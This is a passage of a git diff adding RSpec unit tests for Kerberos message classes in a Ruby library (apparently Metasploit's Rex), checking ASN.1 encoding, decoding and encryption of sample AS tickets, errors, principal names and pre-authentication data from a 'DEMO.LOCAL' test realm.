@tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f7cbc988>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f7cbc578 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f7cbc5f0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff1f7cbc730 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff1f7cbc618 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>]>]> +=end + + let(:generic_error) do + "\x7e\x5a\x30\x58\xa0\x03\x02\x01\x05\xa1\x03\x02" + + "\x01\x1e\xa4\x11\x18\x0f\x32\x30\x31\x34\x31\x32\x31\x34\x30\x36" + + "\x35\x34\x30\x31\x5a\xa5\x05\x02\x03\x0b\x0d\x5b\xa6\x03\x02\x01" + + "\x3c\xa9\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xaa" + + "\x1f\x30\x1d\xa0\x03\x02\x01\x02\xa1\x16\x30\x14\x1b\x06\x6b\x72" + + "\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9e7e0 + @infinite_length=false, + @tag=30, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f1c9e998 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff1f1ca0068 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f1ca0090 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f1ca00e0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9fbe0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f1c9fe60 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f1c9fe88>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9f988 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff1f1c9f9b0 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-14 22:45:22 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9f8c0 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f1c9f910 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f1c9f938>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9f578 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f1c9f708 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f1c9f730>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9f4b0 + @infinite_length=false, + @tag=9, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff1f1c9f4d8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9eb78 + @infinite_length=false, + @tag=10, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f1c9eba0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9f2a8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff1f1c9f2f8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff1f1c9f348>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9ebf0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff1f1c9ec18 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff1f1c9ef88 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff1f1c9ec40 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff1f1c9e9c0 + @infinite_length=false, + @tag=12, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff1f1c9ea10 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "0,0\x16\xA1\x03\x02\x01\v\xA2\x0F\x04\r0\v0\t\xA0\x03\x02\x01\x17\xA1\x02\x04\x000\x12\xA1\x03\x02\x01\x13\xA2\v\x04\t0\a0\x05\xA0\x03\x02\x01\x17">]>]>]> +=end + let(:pre_auth_failed) do + "\x7e\x81\x8d\x30\x81\x8a\xa0\x03\x02\x01\x05\xa1" + + "\x03\x02\x01\x1e\xa4\x11\x18\x0f\x32\x30\x31\x34\x31\x32\x31\x34" + + "\x32\x32\x34\x35\x32\x32\x5a\xa5\x05\x02\x03\x07\x5a\x47\xa6\x03" + + "\x02\x01\x18\xa9\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41" + + "\x4c\xaa\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06" + + "\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\xac\x30\x04\x2e\x30\x2c\x30\x16\xa1\x03\x02\x01\x0b\xa2" + + "\x0f\x04\x0d\x30\x0b\x30\x09\xa0\x03\x02\x01\x17\xa1\x02\x04\x00" + + "\x30\x12\xa1\x03\x02\x01\x13\xa2\x0b\x04\x09\x30\x07\x30\x05\xa0" + + "\x03\x02\x01\x17" + end + + describe "#decode" do + context "when generic error" do + it "returns the Rex::Proto::Kerberos::Model::KrbError decoded" do + expect(krb_error.decode(generic_error)).to eq(krb_error) + end + + it "decodes msg_type correctly" do + krb_error.decode(generic_error) + expect(krb_error.msg_type).to eq(msg_type) + end + + it "decodes stime correctly" do + krb_error.decode(generic_error) + expect(krb_error.stime.to_s).to eq('2014-12-14 06:54:01 UTC') + end + + it "decodes susec correctly" do + krb_error.decode(generic_error) + expect(krb_error.susec).to eq(724315) + end + + it "decodes error_code correctly" do + krb_error.decode(generic_error) + expect(krb_error.error_code).to eq(error_code_generic) + end + + it "decodes realm correctly" do + krb_error.decode(generic_error) + expect(krb_error.realm).to eq('DEMO.LOCAL') + end + + it "decodes sname correctly" do + krb_error.decode(generic_error) + expect(krb_error.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + end + + context "when pre auth failed error" do + it "returns the Rex::Proto::Kerberos::Model::KrbError decoded" do + expect(krb_error.decode(pre_auth_failed)).to eq(krb_error) + end + + it "decodes msg_type correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.msg_type).to eq(msg_type) + end + + it "decodes stime correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.stime.to_s).to eq('2014-12-14 22:45:22 UTC') + end + + it "decodes susec correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.susec).to eq(481863) + end + + it "decodes error_code correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.error_code).to eq(error_code_pre_auth) + end + + it "decodes realm correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.realm).to eq('DEMO.LOCAL') + end + + it "decodes sname correctly" do + krb_error.decode(pre_auth_failed) + expect(krb_error.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + + it "retrieves the e-data" do + krb_error.decode(pre_auth_failed) + expect(krb_error.e_data.length).to eq(46) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb new file mode 100644 index 0000000000..e4f9270027 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb @@ -0,0 +1,138 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::PreAuthData do + + subject(:pre_auth_data) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c500d5e0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c500d6a8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c500d6d0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c500d6f8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c500d608 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c500d630 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "0=\xA0\x03\x02\x01\x17\xA26\x044`\xAES\xA5\vV.Fa\xD9\xD6\x89\x98\xFCy\x9DEs}\r\x8Ax\x84M\xD7|\xC6P\b\x8D\xAB\"y\xC3\x8D\xD3\xAF\x9F^\xB7\xB8\x9BW\xC5\xC9\xC5\xEA\x90\x89\xC3cX">]>]> +=end + let(:timestamp_sample) do + "\x30\x48\xa1\x03\x02\x01\x02\xa2\x41\x04\x3f\x30\x3d\xa0\x03\x02" + + "\x01\x17\xa2\x36\x04\x34\x60\xae\x53\xa5\x0b\x56\x2e\x46\x61\xd9" + + "\xd6\x89\x98\xfc\x79\x9d\x45\x73\x7d\x0d\x8a\x78\x84\x4d\xd7\x7c" + + "\xc6\x50\x08\x8d\xab\x22\x79\xc3\x8d\xd3\xaf\x9f\x5e\xb7\xb8\x9b" + + "\x57\xc5\xc9\xc5\xea\x90\x89\xc3\x63\x58" + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c30b4888 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c30b4950 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c30b4978 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c30b49a0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c30b48b0 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c30b48d8 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="0\x05\xA0\x03\x01\x01\x00">]>]> +=end + let(:pac_sample) do + "\x30\x11\xa1\x04\x02\x02" + + "\x00\x80\xa2\x09\x04\x07\x30\x05\xa0\x03\x01\x01\x00" + end + + describe "#decode" do + context "when PAC-ENC-TIMESTAMP" do + it "returns the decoded Rex::Proto::Kerberos::Model::PreAuthData" do + expect(pre_auth_data.decode(timestamp_sample)).to eq(pre_auth_data) + end + + it "decodes type" do + pre_auth_data.decode(timestamp_sample) + expect(pre_auth_data.type).to eq(2) + end + + it "decodes value" do + pre_auth_data.decode(timestamp_sample) + expect(pre_auth_data.value.length).to eq(63) + end + end + + context "when PA-PAC-REQUEST" do + it "returns the decoded Rex::Proto::Kerberos::Model::PreAuthData" do + expect(pre_auth_data.decode(pac_sample)).to eq(pre_auth_data) + end + + it "decodes type" do + pre_auth_data.decode(pac_sample) + expect(pre_auth_data.type).to eq(128) + end + + it "decodes value" do + pre_auth_data.decode(pac_sample) + expect(pre_auth_data.value.length).to eq(7) + end + end + end + + describe "#encode" do + context "when PAC-ENC-TIMESTAMP" do + it "encodes Rex::Proto::Kerberos::Model::PreAuthData correctly" do + pre_auth_data.decode(timestamp_sample) + expect(pre_auth_data.encode).to eq(timestamp_sample) + end + + end + + context "when PA-PAC-REQUEST" do + it "encodes Rex::Proto::Kerberos::Model::PreAuthData correctly" do + pre_auth_data.decode(pac_sample) + expect(pre_auth_data.encode).to eq(pac_sample) + end + + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb new file mode 100644 index 0000000000..bac408818e --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb @@ -0,0 +1,92 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp do + + subject(:pre_auth_enc_time_stamp) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c3830210 +@infinite_length=false, +@tag=16, +@tag_class=:UNIVERSAL, +@tagging=nil, +@value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c38302d8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c3830300 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-09 01:09:09 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c3830238 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c3830260 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c3830288>>]>]> +=end + let(:time_stamp_raw) do + "\x30\x1a\xa0\x11\x18\x0f\x32\x30" + + "\x31\x34\x31\x32\x30\x39\x30\x31" + + "\x30\x39\x30\x39\x5a\xa1\x05\x02" + + "\x03\x08\xfc\xc8" + end + + let(:msg_type) { 1 } + let(:password) { 'juan' } + let(:enc_type) { Rex::Proto::Kerberos::Crypto::RC4_HMAC } + + describe "#decode" do + it "returns the decoded Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp" do + expect(pre_auth_enc_time_stamp.decode(time_stamp_raw)).to eq(pre_auth_enc_time_stamp) + end + + it "decodes pa_time_stamp correctly" do + pre_auth_enc_time_stamp.decode(time_stamp_raw) + expect(pre_auth_enc_time_stamp.pa_time_stamp.to_s).to eq('2014-12-09 01:09:09 UTC') + end + + it "decodes pausec correctly" do + pre_auth_enc_time_stamp.decode(time_stamp_raw) + expect(pre_auth_enc_time_stamp.pausec).to eq(589000) + end + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp correctly" do + pre_auth_enc_time_stamp.decode(time_stamp_raw) + expect(pre_auth_enc_time_stamp.encode).to eq(time_stamp_raw) + end + end + + describe "#encrypt" do + it "returns an String" do + pre_auth_enc_time_stamp.decode(time_stamp_raw) + expect(pre_auth_enc_time_stamp.encrypt(enc_type, password)).to be_an(String) + end + + it "allows decryption" do + pre_auth_enc_time_stamp.decode(time_stamp_raw) + cipher = pre_auth_enc_time_stamp.encrypt(enc_type, password) + ed = Rex::Proto::Kerberos::Model::EncryptedData.new(etype: enc_type, cipher: cipher) + plain = ed.decrypt(password, msg_type) + pre_auth_enc_time_stamp.decode(plain) + expect(pre_auth_enc_time_stamp.pa_time_stamp.to_s).to eq('2014-12-09 01:09:09 UTC') + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb new file mode 100644 index 0000000000..582224a8e7 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb @@ -0,0 +1,52 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::PreAuthPacRequest do + + subject(:pre_auth_pac_request) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c191b730 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c191b7f8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Boolean:0x007ff9c191b820 + @infinite_length=false, + @tag=1, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=false>]>]> +=end + let(:pac_sample) do + "\x30\x05\xa0\x03\x01\x01\x00" + end + + describe "#decode" do + it "returns the decoded Rex::Proto::Kerberos::Model::PreAuthData" do + expect(pre_auth_pac_request.decode(pac_sample)).to eq(pre_auth_pac_request) + end + + it "decodes value" do + pre_auth_pac_request.decode(pac_sample) + expect(pre_auth_pac_request.value).to be_falsey + end + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::Model::PreAuthPacRequest correctly" do + pre_auth_pac_request.decode(pac_sample) + expect(pre_auth_pac_request.encode).to eq(pac_sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb new file mode 100644 index 0000000000..8ad28b44ac --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb @@ -0,0 +1,151 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::PrincipalName do + + subject(:principal_name) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c1adef40 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1adf058 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1adf080 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c1adf0a8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1adef68 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1adef90 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c1adefb8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="juan">]>]>]> +=end + let(:sample_single_name) do + "\x30\x0f\xa0\x03\x02\x01\x01\xa1" + + "\x08\x30\x06\x1b\x04\x6a\x75\x61" + + "\x6e" + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c384a4d0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c384a638 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c384a660 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c384a688>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c384a4f8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c384a520 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c384a598 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff9c384a548 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]> +=end + let(:sample_multiple_name) do + "\x30\x1d\xa0\x03\x02\x01\x01\xa1" + + "\x16\x30\x14\x1b\x06\x6b\x72\x62" + + "\x74\x67\x74\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c" + end + + describe "#decode" do + context "when PrincipalName with single name" do + it "returns the PrincipalName instance" do + expect(principal_name.decode(sample_single_name)).to eq(principal_name) + end + + it "decodes name_type" do + principal_name.decode(sample_single_name) + expect(principal_name.name_type).to eq(1) + end + + it "decodes name_string" do + principal_name.decode(sample_single_name) + expect(principal_name.name_string).to eq(['juan']) + end + end + + context "when PrincipalName with several names" do + it "returns the PrincipalName instance" do + expect(principal_name.decode(sample_multiple_name)).to eq(principal_name) + end + + it "decodes name_type" do + principal_name.decode(sample_multiple_name) + expect(principal_name.name_type).to eq(1) + end + + it "decodes name_string" do + principal_name.decode(sample_multiple_name) + expect(principal_name.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + end + end + + describe "#encode" do + it "encodes correctly PrincipalName with single name" do + principal_name.name_type = 1 + principal_name.name_string = ['juan'] + expect(principal_name.encode.unpack('C*')).to eq(sample_single_name.unpack('C*')) + end + + + it "encodes correctly PrincipalName with several names" do + principal_name.name_type = 1 + principal_name.name_string = ['krbtgt', 'DEMO.LOCAL'] + expect(principal_name.encode.unpack('C*')).to eq(sample_multiple_name.unpack('C*')) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/ticket_spec.rb b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb new file mode 100644 index 0000000000..8d31ff087a --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb @@ -0,0 +1,195 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::Ticket do + + subject(:ticket) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007f93b206ed78 + @infinite_length=false, + @tag=1, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007f93b206eda0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007f93b2094ca8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007f93b2094cd0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007f93b2094e10>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b2094b90 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007f93b2094bb8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b2094078 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007f93b2094230 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007f93b2094870 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007f93b20948c0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007f93b2094988>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b2094280 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007f93b20943e8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007f93b20944d8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007f93b2094410 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b206f728 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007f93b206f8e0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007f93b206fbd8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007f93b206fc28 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007f93b206fc50>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b206fae8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007f93b206fb60 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007f93b206fb88>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007f93b206f9f8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007f93b206fa20 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "U\xE7E\xC3o\xA2(G\xAB\x9C\x86\x13\xEB\x1D\xA8\x98\xECg\x1C\x1F\x15Fk\xE0J\xF2M=\xF7\xE41zO\x15/`\xDD\x98\xA8\xE1\x97ko\xC1$Fl\xA9\x1E\xE26'\xE3\xFA\x99\f\x9Bw\f\xE2X\x02h\xC4T*,]lK\xC8\xBC\x04\x8F\nD'x\xDCK>\x01\xBE\xAC\xF7\x8EzP\xC6>w\xD9e$\xD5\x1A\x18\xA1\x84q\x85\x98/T\x8BV\xE3\xFB,\xE20\x84\x06UU\xEA1\x8B\x84\x00\xE3\x1A\xC3\xA8\xC2\xAC\xC0x?Ght\xCCb\xA6\xCF\xF4k\xAE\xAF'\xDE\x1AM\xB7\xA8\x9Fvzy*B\x12{\xD2\xBE\xC9\x98|D8@\xBDI\xCD>\xDCe\xC7\x8BD\xF5\xA5\xD4f\x0E\xFDX\x9D19'\xD7\xFC\x81\a\xA3*\x1C<">]>]>]>]>]> +=end + let(:as_ticket) do + "\x61\x82\x01\x0c" + + "\x30\x82\x01\x08\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01" + + "\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45" + + "\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03" + + "\x02\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\x55\xe7" + + "\x45\xc3\x6f\xa2\x28\x47\xab\x9c\x86\x13\xeb\x1d\xa8\x98\xec\x67" + + "\x1c\x1f\x15\x46\x6b\xe0\x4a\xf2\x4d\x3d\xf7\xe4\x31\x7a\x4f\x15" + + "\x2f\x60\xdd\x98\xa8\xe1\x97\x6b\x6f\xc1\x24\x46\x6c\xa9\x1e\xe2" + + "\x36\x27\xe3\xfa\x99\x0c\x9b\x77\x0c\xe2\x58\x02\x68\xc4\x54\x2a" + + "\x2c\x5d\x6c\x4b\xc8\xbc\x04\x8f\x0a\x44\x27\x78\xdc\x4b\x3e\x01" + + "\xbe\xac\xf7\x8e\x7a\x50\xc6\x3e\x77\xd9\x65\x24\xd5\x1a\x18\xa1" + + "\x84\x71\x85\x98\x2f\x54\x8b\x56\xe3\xfb\x2c\xe2\x30\x84\x06\x55" + + "\x55\xea\x31\x8b\x84\x00\xe3\x1a\xc3\xa8\xc2\xac\xc0\x78\x3f\x47" + + "\x68\x74\xcc\x62\xa6\xcf\xf4\x6b\xae\xaf\x27\xde\x1a\x4d\xb7\xa8" + + "\x9f\x76\x7a\x79\x2a\x42\x12\x7b\xd2\xbe\xc9\x98\x7c\x44\x38\x40" + + 